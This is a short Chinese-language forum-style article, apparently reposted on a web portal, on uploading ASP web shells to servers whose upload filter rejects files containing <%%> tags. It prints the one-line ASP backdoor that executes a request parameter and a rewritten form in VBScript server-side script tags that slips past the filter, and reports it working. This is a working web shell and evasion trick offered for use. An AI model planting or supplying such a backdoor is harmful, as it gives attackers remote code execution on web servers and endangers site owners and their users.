不能使用asp标记的时候

王朝asp·作者佚名  2006-11-24
宽屏版  字体: |||超大  

郁闷中啊,无聊的逛着,还为那个同时使用双标签的问题而努力找解决方案,突然想到了一个东西,

以前好多朋友说过就是在程序上传shell过程中,程序不允许包含<%%>标记符号的内容的文件上传,

这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵!

我们拿蓝屏最小的ASP木马来看下:

<%execute request("l")%>

我们来把他的标签换下来:

<script language=VBScript runat=server>execute request("l")</Script>

呵呵!这样就避开了使用<%%>,保存为.asp,程序照样执行,效果一样的说!

偶在xpsp2下测试成功!

从勇敢的风那里得来得灵感!^_^在此再次感谢!

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
© 2005- 王朝网络 版权所有